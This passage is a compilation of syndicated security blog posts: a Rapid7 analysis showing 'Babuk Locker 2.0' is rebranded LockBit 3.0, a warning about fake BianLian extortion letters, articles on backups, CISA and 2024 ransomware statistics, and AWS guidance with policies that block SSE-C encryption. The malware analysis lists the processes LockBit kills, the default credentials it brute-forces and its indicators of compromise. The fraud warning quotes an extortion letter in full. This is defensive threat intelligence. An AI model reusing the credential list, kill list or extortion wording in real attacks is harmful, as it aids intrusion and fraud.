  5. Investigate your attack surface — Threat actors and their tools are poking and prodding your attack surface in search of vulnerabilities, and you must be proactive in doing the same. Resolve to speak with us regularly about Rapid7’s latest innovations in attack surface management.

Conclusion

Ransomware groups large and small have ushered in 2025 with a clear statement of intent: business as usual, and business is booming. The significant volume of leak posts and the heavy lean toward double extortion would indicate we can expect more of the same as the year progresses. In addition, the first glimmer of reportage-style commentary on their victim’s alleged failings suggests a bumpy road ahead for organizations unlucky enough to end up in the ransomware spotlight.

Newer groups hungry for publicity and affiliate network building will potentially look to emulate the Anubis approach, and do a little reportage style journalism of their own. Gimmicks sell and grab publicity, and reputational damage from data leaks may well go hand in hand with regulatory embarrassment and bad publicity. If that wasn’t bad enough, ransomware groups stand revealed through exposed chat logs as being in the market for purchasing zero days.

Businesses need to do everything they can to minimize the risk of easy network access and data exfiltration. Victims continue to pay the price for poor MFA coverage and inadequate patch management, which is why we heavily stressed these basics in our recommendations section above.

If there is a brave new world of ransomware to speak of, it largely resembles the old one with a few streamlined tweaks to a very well-oiled machine.

A Rebirth of a Cursed Existence? – The Babuk Locker 2.0

Post Syndicated from Rapid7 original https://blog.rapid7.com/2025/04/02/a-rebirth-of-a-cursed-existence-the-babuk-locker-2-0/

A Rebirth of a Cursed Existence? - The Babuk Locker 2.0

Co-authored by Yaniv Allender and Anna Sirokova

A Rebirth of a Cursed Existence? Examining ‘Babuk Locker 2.0’ Ransomware

A Rebirth of a Cursed Existence? - The Babuk Locker 2.0

Introduction

Ransomware remains a major threat, causing significant disruption and financial losses to organizations across various sectors. Cybercriminal groups behind these attacks constantly adapt their methods to maximize damage and profit.

At Rapid7, we actively monitor new cyber threats, keeping an eye on ransomware groups and their changing tactics. In early 2025, we came across a channel promoting itself as Babuk Locker. Since the original group had shut down in 2021, we decided to investigate whether this was a rebrand or a new threat. Several underground forums and Telegram channels started mentioning ‘Babuk Locker 2.0,’ with some actors taking credit for recent attacks. Since Babuk’s leaked source code in 2021 had led to many spin-off ransomware strains, we wanted to find out whether this was a real comeback or just another group using Babuk’s name.

A Rebirth of a Cursed Existence? - The Babuk Locker 2.0
Figure 1 – Online discourse against Bjorka as a scammer
A Rebirth of a Cursed Existence? - The Babuk Locker 2.0
Figure 2 – Online discourse against Bjorka and SkyWave as scammers

We started by gathering intelligence from dark web marketplaces, hacker forums, and private Telegram groups. We saw a rise in discussions about Babuk’s return, often linked to two groups, ‘Skywave’ and ‘Bjorka.’ These actors claimed responsibility for major attacks, and their leak sites suggested they might be working with other cybercriminal groups.

This blog delves into the potential revival of Babuk Locker 2.0, its alleged operators, and their activities. We analyze the involvement of ‘Skywave’ and ‘Bjorka,’ their claimed victims, and the evolution of Babuk’s Ransomware-as-a-Service (RaaS) model. Our findings include technical analysis, victimology, and the broader risks posed by this campaign.

Operators: Skywave and Bjorka

While monitoring Babuk Locker 2.0 activity, we identified two key groups linked to its operations—Skywave and Bjorka. These groups frequently appeared in discussions on underground forums and Telegram channels, claiming responsibility for attacks and promoting Babuk-related leaks. Our analysis suggests that these groups play a significant role in Babuk Locker 2.0’s activities, either as affiliates or key operators.

Skywave

Skywave is a recently identified threat actor known for allegedly executing cyberattacks against various high-profile organizations and government agencies. Their operations have raised concerns within the cybersecurity community due to the sensitivity and volume of the data reportedly compromised, as well as the anonymity of the operator. Skywave is suspected of operating multiple Telegram channels under different aliases, some of which have been flagged as scams and removed by Telegram.

The specific TTPs employed by Skywave remain undisclosed, leaving room for speculation regarding their infiltration and data exfiltration methods. Since late 2024, Skywave has maintained its presence on various platforms, such as Telegram, DarkForums, and the dedicated Babuk Locker 2.0 DLS, where they have been sharing leaked data from their allegedly recent attacks. Victim lists indicate a focus on high-profile organizations with sensitive data.

A Rebirth of a Cursed Existence? - The Babuk Locker 2.0
Figure 3 – The Telegram user of Skywave

Bjorka

Bjorka is a threat actor mainly known for allegedly breaching Indonesian government and citizen data, often leaking sensitive information as a form of hacktivism. The alias gained prominence in 2022 with a series of high-profile data leaks, first making headlines in March by exposing over 105 million Indonesian voter records. Throughout 2022, Bjorka targeted multiple institutions, leaking personal data to highlight security flaws and criticize policies. By August 2022, Bjorka joined BreachForums, where they are sharing large databases from breached telecom services. Authorities attempted to identify the hacker, even arresting an individual, but Bjorka mocked the effort, claiming the wrong person was caught. The threat actor is active on BreachForums and Telegram and owns a personal leak site (netleaks[.]net) to distribute stolen data and engage followers.

A Rebirth of a Cursed Existence? - The Babuk Locker 2.0
Figure 4 – The Telegram user of Bjorka

Babuk Locker 2.0/Babuk-Bjorka

Since February 2025, Skywave has claimed ownership on at least 5 different Telegram channels and posts daily about their previous and current victims. Throughout the research, we found dozens of newly created Telegram channels with the names ‘Babuk Locker 2.0’, ‘Babuk 2.0 Ransomware Affiliates’, etc. Some of which overlapped with one another. Additionally, several channels were labeled as scams by Telegram itself and were unavailable a couple of days after they were created.

A Rebirth of a Cursed Existence? - The Babuk Locker 2.0
Figure 5 – A Babuk Locker Telegram channel labeled as a scam by the platform

During our research, we noticed the consistent amplification of the Babuk 2.0 content by Bjorka on their Telegram channel. Speculation about the possible affiliation between Babuk and Bjorka rose due to the overlap of victims, such as the case of ‘Hindustan Aerospace & Engineering’ from India. The organization was initially reported as a victim of Bjorka in December 2023, and again as a victim of Babuk as of March 2025.

A Rebirth of a Cursed Existence? - The Babuk Locker 2.0
Figure 6 – Overlap of victimology between Bjorka and Babuk 2.0

Further evidence of a possible collaboration between the threat actors emerges from the ‘Contact Us’ tab on Babuk’s DLS, where the logos of Skywave and Bjorka appear next to each other, as well as another possible affiliate named GD Locker Sec.

A Rebirth of a Cursed Existence? - The Babuk Locker 2.0
Figure 7 – The ‘Contact US’ tab on the DLS of Babuk, showing the logos of Bjorka and Skywave

Technical Analysis

A sample named babuk.exe SHA-256 3facc153ed82a72695ee2718084db91f85e2560407899e1c7f6938fd4ea011e9 was initially shared on the Telegram channel “Babuk 2.0 Ransomware Affiliates”, before being forwarded to another operational account. Upon analysis, it turned out not to be Babuk Locker at all, but rather LockBit 3.0 also known as LockBit Black. This case is yet another example of the well-established trend: threat actors rebranding ransomware strains, whether to confuse researchers, lure affiliates, or just keep the marketing fresh. Either way, babuk.exe is just LockBit 3.0/Black wearing a fake name.

A Rebirth of a Cursed Existence? - The Babuk Locker 2.0
Figure 8 – “Babuk” sample shared on Babuk 2.0 Affiliate Group Telegram channel

LockBit 3.0 Overview

LockBit 3.0/Black, is a ransomware variant that shares similarities with BlackMatter ransomware. On September 21, 2022, a user named @ali_qushji leaked the LockBit 3.0 builder on Twitter. The leak code made it easy for the least skilled attackers to join the game.

Encryption Methods

An analyzed sample of LockBit 3.0 uses a combination of AES-256 and RSA-2048 encryption. AES-256 is used to encrypt victim files and RSA-2048 encryption used to encrypt the AES key, ensuring decryption is impossible without the attacker’s private key.

Terminated Processes and services

LockBit 3.0 terminates various applications and system processes (the full list is in the table below) most likely to maximize encryption efficiency and prevent file access conflicts. It also disables key security and backup services to limit recovery possibilities and increase impact.

Terminated Processes Terminated Services
sql vss
oracle sql
ocssd svc
dbsnmp memtas
synctime mepocs
agntsvc msexchange
isqlplussvc sophos
xfssvccon veeam
mydesktopservice backup
ocautoupds GxVss
encsvc GxBlr
firefox GxFWD
tbirdconfig GxCVD
mydesktopqos GxCIMgr
ocomm
dbeng50
sqbcoreservice
excel
infopath
msaccess
mspu
onenote
outlook
powerpnt
steam
thebat
thunderbird
visio
winword
wordpad
notepad
calc
wuauclt
onedrive

Active Directory Enumeration

LockBit 3.0 uses logoncli_DsGetDcNameW API function used for Active Directory (AD) enumeration. To brute-force AD accounts, analyzed LockBit 3.0 sample came preloaded with Base64-encoded username and password combinations decoded and listed below.

Username Password
bad.lab Qwerty
Administrator 123QWEqwe
@#Admin2 P@ssw0rd
Administrator P@ssw0rd
Administrator Qwerty
Administrator 123QWEqwe
Administrator 123QWEqweqwe

Babuk or LockBit 3.0? Rebranding Won’t Change the Code.

Analysis confirms that babuk.exe, advertised in the Babuk 2.0 Ransomware Affiliates Telegram channel, is actually based entirely on LockBit 3.0 source code—not Babuk. The sample shows key techniques identical to previous LockBit 3.0 variants, reinforcing that this is yet another case of threat actors rebranding existing ransomware rather than introducing anything genuinely new.

Key Overlapping Techniques

The analyzed sample uses API harvesting by hashing API names from DLLs and comparing them against a predefined list of required APIs (Figure 7). This technique, likely to obfuscate API calls and evade detection, mirrors the approach seen in Lockbit3.0/Black and aligns with previous findings by Trend Micro.

A Rebirth of a Cursed Existence? - The Babuk Locker 2.0
Figure 9 – LockBit 3.0’s routine for API harvesting function comparison—our analyzed sample (left) vs. TrendMicro’s reported sample (right).

Likewise, The XOR key 0x4803BFC7 LockBit 3.0 used for renaming APIs is the same as it was reported before. The xor key is re-used multiple times in the code.

A Rebirth of a Cursed Existence? - The Babuk Locker 2.0
Figure 10 – 0x4803BFC7 xor key observed in analyzed sample

Additionally, the ransom note creating routine is identical as in previous Lockbit3.0/Black samples.

A Rebirth of a Cursed Existence? - The Babuk Locker 2.0
Figure 11 – readme creation routine

Like previous LockBit 3.0/ Black samples, the analyzed variant modifies the desktop wallpaper to display a ransom note—branded, unsurprisingly, as “LockBit Black” (not Babuk, in case anyone was still confused). It also appends specific extensions to encrypted files, changes their icons, and drops a .ico file in the %PROGRAMDATA% directory, staying true to the LockBit playbook.

A Rebirth of a Cursed Existence? - The Babuk Locker 2.0
Figure 12 – Lockbit3.0 wallpaper and ransom note

The ransom note referenced “Orion Hackers” and the tox ID 32C12B278912E26E5EAC57AEBB3F4FF16F0E31603C7B9D46AC02E9D993EE14351CEC3AB5945C. A search on this TOX ID linked the ransom demands to the `Babuk 2.0 Affiliate Group` on Telegram. Additionally, we discovered that messages from this channel were being reposted by an actor named Bjorkanism, who is actively sharing content from Affiliate Group Babuk 2.0 which is actually leaked Lockbit3.0.

Victimology

The new Babuk Locker 2.0 has recently been making waves within the cybersecurity and intelligence scene, claiming dozens of high-profile cyberattacks in a short time of less than two months of operation. Since January 2025, the group has listed at least 100 organizations as their alleged victims. Among their alleged victims are Amazon, the Israeli Knesset, Sodexo, and other high-profile organizations. Victims are from multiple sectors including energy, manufacturing, IT, government, etc.

A Rebirth of a Cursed Existence? - The Babuk Locker 2.0
Figure 13 – Victims listed on the Babuk Locker 2.0 DLS
A Rebirth of a Cursed Existence? - The Babuk Locker 2.0
Figure 14 – Babuk Locker 2.0 victims per country

There have been growing claims of overlaps between Babuk Locker 2.0 and other ransomware groups, as some of their alleged victims were already attacked by other groups, such as HellCat, RansomHub, FunkSec, and others. These overlaps in victimology reinforce concerns about the authenticity of the new Babuk group entity and its operations.

A Rebirth of a Cursed Existence? - The Babuk Locker 2.0
Figure 15 – Babuk Locker 2.0 victims overlap with another ransomware group

Conclusion

Babuk Locker 2.0 is not a true revival of the original Babuk group—it’s just LockBit 3.0 with a new label. Our analysis strongly suggests that Skywave and Bjorka are behind this operation, either as collaborators or opportunistic actors riding the same wave.

Despite its bold claims, Babuk 2.0’s victim list overlaps heavily with other ransomware groups, raising doubts about the legitimacy of its attacks. Rather than a sophisticated new threat, this looks more like a rebranding stunt—a common tactic among ransomware operators to confuse defenders, attract affiliates, and inflate their reputation.

This case reinforces a familiar pattern: ransomware groups don’t disappear—they just change names, recycle code, and keep cashing in. Whether Skywave and Bjorka are working together or simply using Babuk’s name for credibility, one thing is clear: Babuk 2.0 is just LockBit 3.0 in a different costume.

IOCs (Indicators of Compromise)

DLS (Data Leak Sites)
7dikawx73goypgfi4zyo5fcajxwb7agemmiwqax3p54aey4dwobcvcyd.onion
imblth46g3x5oo444wkjn7umj4g26tnhmrlo53ovfqmmkmughdw4j2ad.onion
bxwu33iefqfc3rxigynn3ghvq4gdw3gxgxna5m4aa3o4vscdeeqhiqad.onion
Telegram Handles
@OfficialBabukLocker
@BabukLockerRaasSHA1
@BabukLockerRaas (inactive)
@BGLocker
Tox ID & Contact
Tox: 022A7EEB83B648F55DA7A6BEFD130C2156C74F3501A31D853234EC2D18E77A1E5BEC7F60201
Email: [email protected]
YouTube: youtube.com/@babuklocker
Ransomware samples obtained from Telegram channels
3facc153ed82a72695ee2718084db91f85e2560407899e1c7f6938fd4ea011e9
bdc482583a330a4682d13bfb7a0cf75b2fa350ac536064bce7b2bdd9d875de4a
0192eaf2ea5a52fa9d2398b3a2f69c163d47b368cd131ccae60df0a98c1fa2ca

Fake BianLian Ransomware Letters in Circulation

Post Syndicated from Chris Boyd original https://blog.rapid7.com/2025/03/19/fake-bianlian-ransomware-letters-in-circulation/

At a glance:

  • The FBI is warning of a mail-based fraud involving letters sent to businesses in the U.S. These letters resemble online ransomware notes demanding payment via Bitcoin.
  • Rapid7 examined a mail-based ransom demand sent to a customer from a local postcode.
  • There is no evidence that any of the recipients have been compromised by BianLian.

From BianLian: “Time Sensitive, Read Immediately”

Fake BianLian Ransomware Letters in Circulation

On March 5, the FBI issued an alert regarding a mail scam targeting U.S. business executives with extortion. The letters claim to be from noted ransomware group BianLian, demanding a payment in Bitcoin ranging from $250,000 to $500,000 within ten days of receipt.

The FBI alert reads as follows:

“Stamped “Time Sensitive Read Immediately”, the letter claims the “BianLian Group” gained access into the organization’s network and stole thousands of sensitive data files. The letter then goes on to threaten that the victim’s data will be published to BianLian’s data leak sites if recipients do not use an included QR code linked to a Bitcoin wallet to pay between $250,000 and $500,000 within ten days from receipt of the letter, claiming the group will not negotiate further with victims.”

The ransom note also warns recipients not to contact law enforcement, stressing that the FBI “does not care” about victims and will not help in the event of a lawsuit — a classic social engineering pressure tactic.

Rapid7 has observed that these letters are still in circulation, with one such letter received by a Rapid7 customer highlighted below. While we have redacted parts of the letter to protect the customer’s identity and other sensitive information, you can see that it follows the pattern of others seen in the wild, falsely claiming to be from BianLian:

Fake BianLian Ransomware Letters in Circulation

It reads:

“I regret to inform you that we have gained access to [redacted] systems and over the past several weeks have exported thousands of data files, including detailed [redacted] information with DOBs, SSNs, insurance records, and other sensitive data, employee information with IDs, SSNs, payroll reports, and other sensitive HR documents, company financial documents, legal documents, invoices, and tax documents.

How did this happen?

Your network is insecure and we were able to gain access and intercept your network traffic, leverage your personal email address, passwords, online accounts and other information to social engineer our way into [redacted] systems via your home network with the help of another employee. If you follow our instructions below, we will provide you with the exact details of how we gained access, and how to protect your home network and company from falling prey to this kind of attack in the future.

What do we want?

We require [redacted] in Bitcoin paid to the address below within 10 days of receipt of this letter. If you do as we say, we will permanently destroy all data in our possession and will send you a follow-up letter detailing exactly how we were able to access your system, after which you will never hear from us again.

If you do not comply, all of [redacted] sensitive data will be published to our TOR darknet sites, sent to all interested supervisory organizations and the media, distributed via email to all your investors, partners, customers, employees, and other relevant parties, and you can expect collective lawsuits as we will invite various law firms to take up a group case.”

The above letter is a match for those received by multiple businesses. Similarly, the Bitcoin payment address does not appear to be connected to the genuine BianLian group—just like several other examples highlighted online.

What you need to do

The FBI has issued the following advice, which is still applicable to this example of mail-based fraud:

  • Notify corporate executives and the organization of the scam for awareness.
  • Ensure employees are educated on what to do if they receive a ransom threat.
  • If you or your organization receive one of these letters, ensure your network defenses are up to date and that there are no active alerts regarding malicious activity.
  • If you discover you are a victim of BianLian ransomware, please visit [the FBI’s] Joint Cybersecurity Awareness Bulletin for recent tactics, techniques, and procedures and indicators of compromise to help organizations protect against ransomware.The FBI also requests that victims report any incident to their local FBI Field Office or the Internet Crime Complaint Center (IC3).

Additionally, Rapid7 recommends the following:

  • Do not scan any QR codes or go to any web links within the letter.
  • Do not pay any ransom.
  • Secure both the letter and envelope in a chain of custody evidence bag, or a ziplock if unavailable.

While ransomware actually was sent through the mail via infected USB sticks in 2022 by threat actor FIN7, that is not the case here. Recipients have not been compromised by BianLian despite what said letters claim. While your business is unlikely to receive one of these letters, other fraudsters may follow suit so a few moments spent warning of the dangers of this tactic may help to prevent an avoidable financial loss.

Disaster Recovery 101: Backup vs. Replication

Post Syndicated from Kari Rivas original https://www.backblaze.com/blog/disaster-recovery-101-backup-vs-replication/

A decorative image showing icons that represent file types being uploaded to the cloud.

I’ve heard the horror stories, and I’m sure you have too. A company thinks they’re covered because they have replication running, only to realize too late that replication doesn’t protect against data corruption or ransomware. In a disaster scenario, every copy of their critical data is compromised. And then comes the dreaded question: Do we have a backup?

Many teams—even those with seasoned IT professionals—misunderstand the fundamental difference between backup and replication for disaster recovery (DR). Replication is about availability, or keeping systems running with minimal downtime. Backup is about recoverability, or ensuring you can go back to a known good state.

This post breaks down replication, backup, and their respective roles in disaster recovery in a way that’s easy to share with your team, helping to prevent costly misunderstandings.

What is data replication?

Data replication involves copying and synchronizing data between your primary site and the DR destination in real-time or near real-time. It offers fast failover capabilities as the replicated data at the DR site is constantly updated. However, if malware infects your primary site, it might also replicate to the DR site, rendering the backup compromised.

What is data backup?

Data backup involves creating full and incremental copies of your data and storing them in a separate location from your primary system, typically on a scheduled basis, to prevent loss, corruption, or disasters. A couple key points:

  • Incremental backups capture changes in data, thus offering a point-in-time recovery option.
  • Ideally, backups are immutable, meaning they can’t be altered, in order to protect against malware and ransomware by making files and images read-only for safe recovery.
  • Air-gapped and offline backups can further help resist malware and ransomware attacks by creating a virtual or physical separation from the production network.
  • Cloud-based backups are a great option for addressing these requirements while offering affordable scaling options as the environment grows. 

Replicating backups

A hybrid approach involves replicating your backups to a secondary location, offering a balance between data protection and recovery time. This can be between on-premises and cloud environments, or across multiple cloud targets.

While replicating backups offers additional protection and accessibility for online recovery, the backup images are still subject to ransomware infection. Using immutable backups helps prevent the spread of the infection to recovery sites and backup repositories.

Data backups paired with replication can be an ideal strategy. Full and incremental backups with point-in-time snapshots can provide regular recovery points with replicated copies for remote recovery and additional protection. 

Cloud Replication

Backblaze B2 Cloud Replication enables your data to be automatically copied from one location to another for redundancy, compliance, and fast local access. Create 2x backups for a stronger disaster recovery posture. Replicating your Backblaze data is easy and free—no service or egress fees—just the standard Backblaze B2 Cloud Storage rates.

Learn More ➔ 

Disaster recovery and backups: Factors to consider when choosing the right approach

The optimal approach to disaster recovery backup and when and how you use replication depends on your specific needs.

  • For frequently accessed data requiring near-instantaneous recovery, consider a combination of a hot site methodology and real-time data replication. This offers the fastest failover, but can come at a higher cost.
  • For critical data with acceptable downtime, a warm site with replicated immutable backups at a secondary location (either on-premises or in the cloud) provides a good balance between cost and recovery time. While requiring some manual intervention, it offers protection against malware replicating to the DR site.
  • For less critical data or archival purposes, cold storage with periodic backups is a cost-effective option. Backups offer a historical record and are less susceptible to malware infection compared to replicated data, particularly if Object Lock is enabled for immutability.

Data replication is important, but it should not be seen as a substitute for backups. Backups offer a required safety net, providing a point-in-time recovery option even if the replicated data is compromised. Selecting the right disaster recovery backup strategy depends on a careful evaluation of your company’s specific needs, budget, and risk tolerance. 

By understanding the pros and cons of each option, you can make an informed decision that ensures optimal protection for your critical data in the face of unforeseen disruptions.

The post Disaster Recovery 101: Backup vs. Replication appeared first on Backblaze Blog | Cloud Storage & Cloud Backup

CISA Under Trump

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2025/01/cisa-under-trump.html

Jen Easterly is out as the Director of CISA. Read her final interview:

There’s a lot of unfinished business. We have made an impact through our ransomware vulnerability warning pilot and our pre-ransomware notification initiative, and I’m really proud of that, because we work on preventing somebody from having their worst day. But ransomware is still a problem. We have been laser-focused on PRC cyber actors. That will continue to be a huge problem. I’m really proud of where we are, but there’s much, much more work to be done. There are things that I think we can continue driving, that the next administration, I hope, will look at, because, frankly, cybersecurity is a national security issue.

If Project 2025 is a guide, the agency will be gutted under Trump:

“Project 2025’s recommendations—essentially because this one thing caused anger—is to just strip the agency of all of its support altogether,” he said. “And CISA’s functions go so far beyond its role in the information space in a way that would do real harm to election officials and leave them less prepared to tackle future challenges.”

In the DHS chapter of Project 2025, Cucinelli suggests gutting CISA almost entirely, moving its core responsibilities on critical infrastructure to the Department of Transportation. It’s a suggestion that Adav Noti, the executive director of the nonpartisan voting rights advocacy organization Campaign Legal Center, previously described to Democracy Docket as “absolutely bonkers.”

“It’s located at Homeland Security because the whole premise of the Department of Homeland Security is that it’s supposed to be the central resource for the protection of the nation,” Noti said. “And that the important functions shouldn’t be living out in siloed agencies.”

The 2024 Ransomware Landscape: Looking back on another painful year

Post Syndicated from Christiaan Beek original https://blog.rapid7.com/2025/01/27/the-2024-ransomware-landscape-looking-back-on-another-painful-year/

The 2024 Ransomware Landscape: Looking back on another painful year

The ransomware landscape in 2024 continued to evolve at a rapid pace, outgrowing many of the trends we saw in 2023. Threat actors remained relentless and innovative, targeting organizations of all sizes and sectors. In this post, we’ll examine the latest data points, discuss notable groups, and estimate the potential impact on victims — helping security teams plan their defenses for the months ahead.

2024 by the Numbers

Mid last year, Rapid7 Labs released our Ransomware Radar Report highlighting key stats for the first half of 2024. Here is how 2024 played out as a whole:

  • Total number of leak site posts: 5,939
  • Number of active ransomware groups: 75
  • Average number of active groups per month: 45
  • Average ransom payment in Q3 2024: $479,237 (Source: Coveware)
  • Median ransom payment in Q3 2024: $200,000 (Source: Coveware)
  • Median percentage of companies that pay: 32% (Source: Coveware)

These numbers offer insight into just how expansive ransomware activity has become. While the overall figures are alarming, it’s the variety of actors and their ability to adapt that pose the greatest challenge for defenders.

Top 10 Ransomware Groups

Below are the 10 most prolific ransomware groups in 2024, ranked by the number of posts on leak sites:

The 2024 Ransomware Landscape: Looking back on another painful year

While these numbers reflect public disclosures, many victims choose to negotiate privately, meaning the true scope could be significantly higher.

The Cl0p group recently disclosed exploiting a vulnerability in Cleo file transfer software, further illustrating how threat actors pivot between high-profile platform vulnerabilities with minimal downtime. While the group avoids using conventional ransomware payloads, they still rely on a leak site to extort payment from victims. Because Cl0p’s business model isn’t driven by fully encrypting victims’ data, the ransom amounts they demand — and ultimately receive — remain opaque, making it difficult to quantify their financial impact within the broader ransomware ecosystem.

Estimated Financial Impact

Based on the median payment amount of $200,000 cited above and the stat that about 32% of companies choose to pay, we can make **rough** estimates of total potential revenue generated by these groups.

Note that this calculation assumes:

  1. Each post represents one victim.
  2. 32% of those victims pay.
  3. Ransom is always $200,000.  

These assumptions likely understate the actual impact, as some victims pay more (the average is $479,237). Even so, the total in 2024 could easily exceed $380 million in ransom paid.

Group Posts 32% of Posts (Paying Victims) Hypothetical Revenue (USD)
RansomHub 631 201.92 $40,384,000
LockBit 585 187.20 $37,440,000
Play 350 112 $22,400,000
Akira 262 83.84 $16,768,000
Hunters 234 74.88 $14,976,000
Medusa 207 66.24 $13,248,000
Qilin 189 60.48 $12,096,000
Black Basta 185 59.20 $11,840,000
Cactus 178 56.96 $11,392,000
BianLian 169 54.08 $10,816,000

Table Note: These calculations are illustrative only; actual outcomes will differ.

Following are four trends we’re seeing in Rapid7 Labs, based on the global threat intelligence we gather as well as input from our internal research and open source communities.

1. Proliferation of Groups: With over 75 active groups, it’s clear that the barrier to entry for launching ransomware campaigns remains relatively low. In addition, fragmented groups are splintering and rebranding, making it more difficult to track and mitigate.

2. Persistent Dominance: Teams like RansomHub, Akira, and Fog continue to reign at the top, demonstrating sophisticated extortion strategies and steady affiliate growth.

3. Increased Transparency on the Victim Side: More organizations are disclosing breaches to comply with emerging regulations as well as to maintain customer trust. These self-reports, combined with the data ransomware actors post as a form of extortion, can give us a view of the threat. Still, not all attacks become public, obfuscating the true scale of the ransomware problem.

4. Rise of Double and Triple Extortion: Threat actors often demand multiple payments for data release, encryption keys, and in some cases, to prevent DDoS attacks or direct contact with partners and clients.

An additional observation: LockBit remained active throughout 2024, even as it became the focus of significant law enforcement attention. In a recent case, a dual Russian-Israeli national was charged for allegedly serving as a LockBit developer — an accusation that centers on crafting malicious code, overseeing affiliate activities, and orchestrating ransomware attacks worldwide. The indictments underscore intensified global cooperation, with agencies from the United States and the United Kingdom coordinating to disrupt LockBit’s infrastructure and hold key figures accountable. While LockBit continues to operate, these collective enforcement actions have highlighted the value of cross-border partnerships in mitigating ransomware threats

Building Resilience

Now that we’ve looked at some numbers and trends, let’s examine how we can use these learnings to inform decision-making and enable conversations at the executive level:

Prepare for Multiple Vectors: Ransomware attacks often begin with credential compromise, phishing campaigns, or exploitation of unpatched vulnerabilities. Build layered security defenses accordingly.

Secure Collaborations: Ensure robust security protocols with third parties, given the reliance on supply chains and outsourced IT services.

Incident Response Readiness: Create clear IR plans that include legal and public relations strategies. In addition, we highly recommend that companies hold twice-annual tabletop exercises to test the efficacy of their ransomware IR plans. Rapid containment and a well-managed response can help minimize financial and reputational damage.

Ongoing Risk Assessment: Regularly revisit threat models, especially as top-tier groups (like RansomHub or Cl0p) adopt new tactics and expand their affiliate networks.

Planning Ahead

Looking at the big picture, the financial incentives for cybercriminals are undeniable. Even if only one-third of victims pay a median of $200,000, the potential revenue surpasses $380 million — and that’s likely just the tip of the iceberg. This underscores three critical points for defenders:

1. Defense in Depth: Organizations must invest in proactive measures, from user awareness training and robust patching to strict access control and secure backups.

2. Threat Intelligence: Regularly monitor emerging ransomware groups and tactics to tailor defenses. Knowing who is targeting your industry and their methods is essential.

3. Commanding Your Attack Surface:  

In line with Rapid7’s emphasis on complete visibility and proactive security, it’s essential that organizations maintain a continuous view of their external footprint. This includes:  

– Regular Scanning: With automated tools that identify internet-facing assets and highlight newly exposed services or vulnerabilities.

– Real-time Monitoring: For detecting changes in cloud environments, development pipelines, and system deployments.

– Holistic Patch Management: To prioritize fixes based on known exploits and potential impact to reduce windows of opportunity for attackers.  

By commanding your attack surface, you can reduce the likelihood of unpatched systems and publicly exposed services becoming easy entry points for ransomware groups.

Conclusion

The 2024 ransomware landscape signals an ongoing escalation in the volume, variety, and financial impact of attacks. Groups like RansomHub, Akira, and Cl0p demonstrate how quickly affiliates can scale, while many new entrants take advantage of commoditized ransomware-as-a-service models. For organizations of all sizes, building resilience, staying informed, and preparing a strong response plan are critical steps in countering this persistent and evolving threat.

Disclaimer: The statistics and financial estimates shared in this blog are based on public data and should be considered general indicators rather than exact figures. Real-world incidents often involve factors that deviate from these simplified calculations.

Preventing unintended encryption of Amazon S3 objects

Post Syndicated from Steve de Vera original https://aws.amazon.com/blogs/security/preventing-unintended-encryption-of-amazon-s3-objects/

At Amazon Web Services (AWS), the security of our customers’ data is our top priority, and it always will be. Recently, the AWS Customer Incident Response Team (CIRT) and our automated security monitoring systems identified an increase in unusual encryption activity associated with Amazon Simple Storage Service (Amazon S3) buckets.

Working with customers, our security teams detected an increase of data encryption events in S3 that used an encryption method known as server-side encryption using client-provided keys (SSE-C). While this is a feature used by many customers, we detected a pattern where a large number of S3 CopyObject operations using SSE-C began to overwrite objects, which has the effect of re-encrypting customer data with a new encryption key. Our analysis uncovered that this was being done by malicious actors who had obtained valid customer credentials, and were using them to re-encrypt objects.

It’s important to note that these actions do not take advantage of a vulnerability within an AWS service—but rather require valid credentials that an unauthorized user uses in an unintended way. Although these actions occur in the customer domain of the shared responsibility model, AWS recommends steps that customers can use to prevent or reduce the impact of such activity.

Using active defense tools, we have implemented automatic mitigations that will help to prevent this type of unauthorized activity in many cases. These mitigations have already prevented a high percentage of attempts from succeeding, without customers taking steps to protect themselves. However, the threat actors used valid credentials, and it is difficult for AWS to reliably distinguish valid usage from malicious use. Therefore, we recommend that customers follow best practices to mitigate risk.

We recommend that customers implement these four security best practices to protect against the unauthorized use of SSE-C:

  1. Block the use of SSE-C unless required by an application
  2. Implement data recovery procedures
  3. Monitor AWS resources for unexpected access patterns
  4. Implement short-term credentials

I. Block the use of SSE-C encryption

If your applications don’t use SSE-C as an encryption method, you can block the use of SSE-C with a resource policy applied to an S3 bucket, or by a resource control policy (RCP) applied to an organization in AWS Organizations.

Resource policies for S3 buckets are commonly referred to as bucket policies and allow customers to specify permissions for individual buckets in S3. A bucket policy can be applied using the S3 PutBucketPolicy API operation, the AWS Command Line Interface (CLI), or through the AWS Management Console. Learn more about how bucket policies work in the S3 documentation. The following example shows a bucket policy that blocks SSE-C request for a bucket called your-bucket-name>.

{
    "Version": "2012-10-17",    
    "Statement": [
        {
            "Sid": "RestrictSSECObjectUploads",
            "Effect": "Deny",
            "Principal": "*",
            "Action": "s3:PutObject",
            "Resource": "arn:aws:s3:::<your-bucket-name>/*",
            "Condition": {
                "Null": {
                    "s3:x-amz-server-side-encryption-customer-algorithm": "false"
                }
            }
        }
    ]
 }

RCPs allow customers to specify the maximum available permissions that apply to resources across an entire organization in AWS Organizations. An RCP can be applied by using the AWS Organizations UpdatePolicy API operation, the AWS Command Line Interface (CLI), or through the AWS Management Console. Learn more about how RCPs work in the AWS Organizations documentation. The following example shows an RCP that blocks SSE-C requests for buckets in the organization.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "RestrictSSECObjectUploads",
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:PutObject",
      "Resource": "*",
      "Condition": {
        "Null": {
          "s3:x-amz-server-side-encryption-customer-algorithm": "false"
        }
      }
    }
  ]
 }

II. Implement data recovery procedures

Without data protection mechanisms in place, data recovery times can be longer. As a data protection best practice, we recommend that you protect against data being overwritten and that you maintain a second copy of critical data.

Enable S3 Versioning to keep multiple versions of an object in a bucket, so that you can restore objects that are accidentally deleted or overwritten. It is important to note that versioning may increase storage costs, especially for applications that frequently overwrite objects in a bucket. In this case, consider implementing S3 Lifecycle policies to manage older versions and control storage costs.

Additionally, copy or take backups of critical data to a different bucket and perhaps to a different AWS account or AWS Region. To do this, you can use S3 replication to automatically copy objects between buckets. These buckets can reside in the same or in different AWS accounts, as well as in the same or in different AWS Regions. S3 replication also offers an SLA for customers that have more stringent RPO (Recovery Point Objective) and RTO (Recovery Time Objective) requirements. Alternatively, you can use AWS Backup for S3, which is a managed service that automates periodic backup of S3 buckets.

III. Monitor AWS resources for unexpected access patterns

